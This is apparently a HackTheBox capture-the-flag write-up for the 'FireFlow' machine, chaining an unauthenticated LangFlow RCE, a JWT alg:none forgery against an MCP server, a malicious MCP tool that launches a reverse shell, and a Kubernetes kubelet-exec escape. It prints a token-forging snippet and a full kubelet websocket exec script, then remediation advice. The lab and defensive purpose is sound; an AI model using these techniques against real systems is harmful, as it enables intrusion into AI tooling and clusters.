Sitemap

FireFlow — HackTheBox Write-Up

7 min readAug 6, 2026

--

Press enter or click to view image in full size

Overview

Machine: FireFlow (HackTheBox) — difficulty Medium

This write-up covers the full compromise of FireFlow, from initial reconnaissance to root, chaining an unauthenticated RCE in a self-hosted LangFlow instance, a JWT alg:none forgery against a misconfigured MCP (Model Context Protocol) server, and a Kubernetes privileged-pod escape to obtain root on the underlying host.

1. Reconnaissance

I started with a full TCP port scan to identify every open port and service version.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG Ports -oN Ports 10.129.73.28
Press enter or click to view image in full size

With the open ports identified, I ran a targeted service/version scan against them:

nmap -p22,443 -sCV 10.129.73.28 -oN Vports
Press enter or click to view image in full size

Only two ports were open: 22 (SSH) and 443 (HTTPS).

2. Enumeration

Since only SSH and HTTPS were exposed, I focused on the web service. Browsing to the HTTPS endpoint revealed a subdomain hosting a LangFlow instance — an open-source visual builder for LLM-powered applications.

Press enter or click to view image in full size

The LangFlow version was disclosed at the bottom of the main page:

Press enter or click to view image in full size

That version is affected by CVE-2026–33017, a critical unauthenticated remote code execution (RCE) vulnerability in LangFlow. The flaw allows an unauthenticated attacker to execute arbitrary Python code on the server, because LangFlow’s flow-execution API does not enforce authentication on the endpoint that evaluates custom component code.

3. Exploitation

I used a public proof-of-concept (PoC) for CVE-2026–33017 and adapted it to target an HTTPS endpoint — the original PoC assumed plain HTTP, so I added TLS support (verify=False) inside the send_payload() function to point it at the HTTPS subdomain.

Press enter or click to view image in full size

Running the modified script confirmed code execution on the target:

Press enter or click to view image in full size

Root cause: LangFlow exposes an API endpoint that lets a client submit and execute a custom “flow” component without any authentication check. Since these components can contain arbitrary Python, an unauthenticated request is enough to achieve full RCE.

Enumerating the filesystem from my RCE foothold, I found a .env file containing credentials for the user <username>:

Press enter or click to view image in full size
Press enter or click to view image in full size

I used these credentials to authenticate over SSH and obtained a shell as “nightfall”:

While looking for a privilege escalation path, I found a config.json file inside a .mcp directory in the user's home folder:

The directory name (.mcp) and the structure of the configuration file indicated that the host was also running an MCP (Model Context Protocol) server — a service that exposes "tools" (callable functions) to AI agents over an HTTP API.

Get PELURED’s stories in your inbox

Join Medium for free to get updates from this writer.

Querying the service with curl returned its version banner and additional endpoint details:

Press enter or click to view image in full size

Sending a POST request to the /auth endpoint returned a valid access token:

Press enter or click to view image in full size

Decoding the token showed it was a standard JWT:

Press enter or click to view image in full size

The MCP configuration file revealed that at least one endpoint required the admin role to be reachable — but the token I had obtained only carried a low-privileged role.

Because the server’s JWT verification logic did not explicitly reject the none algorithm, I crafted an unsigned token asserting the admin role:

import base64, json
def b64url(data):
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}).encode())
payload = b64url(json.dumps({"sub": "attacker", "role": "admin"}).encode())
token = f"{header}.{payload}."
print(token)
Press enter or click to view image in full size

Root cause: The JWT specification allows alg: none as a valid (unsigned) algorithm for cases where integrity is verified through other means. Many JWT libraries will happily parse and trust an unsigned token if the server does not explicitly whitelist the accepted algorithms. Here, the MCP server accepted the forged token as authentic and granted it admin privileges, meaning authentication was effectively bypassable simply by asserting the desired role in the payload.

With this forged admin token, I registered a malicious MCP “tool” whose implementation executed an arbitrary system command (a reverse shell) whenever invoked:

Press enter or click to view image in full size

I set up a listener on my attacking machine and triggered the reverse shell by invoking the malicious tool through the MCP API:

Press enter or click to view image in full size

This returned a shell as the mcp user:

4. Privilege Escalation

Enumerating the new environment as mcp, several indicators (mount points, environment variables, service account tokens) suggested I was running inside a Kubernetes pod. I confirmed this with:

env | grep KUBERNETES

To determine what the pod’s service account was authorized to do, I sent a POST request to the Kubernetes API's SelfSubjectRulesReview endpoint:

curl -sk -X POST https://10.43.0.1:443/apis/authorization.k8s.io/v1/selfsubjectrulesreviews  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"  -H "Content-Type: application/json"  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"default"}}'

The response showed the service account held the nodes/proxy permission. This is a highly sensitive permission: it allows a client to send arbitrary requests to the kubelet API on any node in the cluster, including endpoints that can execute commands inside any pod running on that node — effectively enabling cluster-wide code execution from a single compromised service account.

I then searched the cluster for a privileged pod to pivot into:

Press enter or click to view image in full size

I found a privileged pod configured with hostPath mounts of /proc, /sys, and / — meaning the entire host filesystem was mounted directly inside the pod. Combined with the nodes/proxy permission, this gave a direct path to host-level code execution.

Using the nodes/proxy permission, I wrote a script to execute commands inside the privileged pod via the kubelet API, which in turn let me interact with the mounted host filesystem:

#!/usr/bin/env python3

import asyncio
import ssl
import sys
import websockets

NODE = "10.129.80.198"
NAMESPACE = "monitoring"
POD = "prometheus-prometheus-node-exporter-nmntq"
CONTAINER = "node-exporter"
TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read().strip()

async def run_command(command, output_file=None):
query = "&".join(f"command={word}" for word in command.split())
url = f"wss://{NODE}:10250/exec/{NAMESPACE}/{POD}/{CONTAINER}?output=1&error=1&{query}"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

output = []
try:
async with websockets.connect(
url,
ssl=ctx,
additional_headers={"Authorization": f"Bearer {TOKEN}"},
subprotocols=["v4.channel.k8s.io"],
) as ws:
print(f"[+] Ejecutando: {command}")
async for msg in ws:
decoded = msg[1:].decode(errors="replace")
output.append(decoded)
if not output_file:
sys.stdout.write(decoded)
sys.stdout.flush()

if output_file:
with open(output_file, 'w') as f:
f.write(''.join(output))
print(f"[+] Output guardado en: {output_file}")

return ''.join(output)

except Exception as e:
print(f"[-] Error: {e}")
return None

if __name__ == "__main__":
# Por defecto ejecuta cat /root/root/root.txt
cmd = sys.argv[1] if len(sys.argv) > 1 else "cat /root/root/root.txt"

# Si se pasa un segundo argumento, lo usa como archivo de salida
output = sys.argv[2] if len(sys.argv) > 2 else None

asyncio.run(run_command(cmd, output))
python3 script.py

Root cause: The service account bound to the mcp pod was over-privileged, holding nodes/proxy rights it did not need. Combined with an unrelated privileged pod that mounted the host's root filesystem, this allowed full container breakout and host compromise — a classic case of excessive RBAC permissions plus insecure pod security context compounding into a critical escalation path.

Remediation

  • LangFlow RCE: Upgrade to a patched LangFlow release and ensure the flow-execution API requires authentication; do not expose LangFlow admin interfaces on public-facing subdomains.
  • Credential hygiene: Do not store plaintext credentials in .env files reachable from a web application's execution context; use a secrets manager and restrict file permissions.
  • JWT alg:none: Explicitly whitelist accepted signing algorithms (e.g., RS256, HS256) in the JWT verification library and reject any token asserting alg: none.
  • MCP tool registration: Restrict who can register new tools; treat tool registration as a privileged, auditable action, and sandbox tool execution.
  • Kubernetes RBAC: Apply least privilege to service accounts — nodes/proxy should never be granted to workload pods unless strictly required. Avoid hostPath mounts of /, /proc, or /sys in any pod; use Pod Security Admission/Standards to block privileged pods by default.

--

--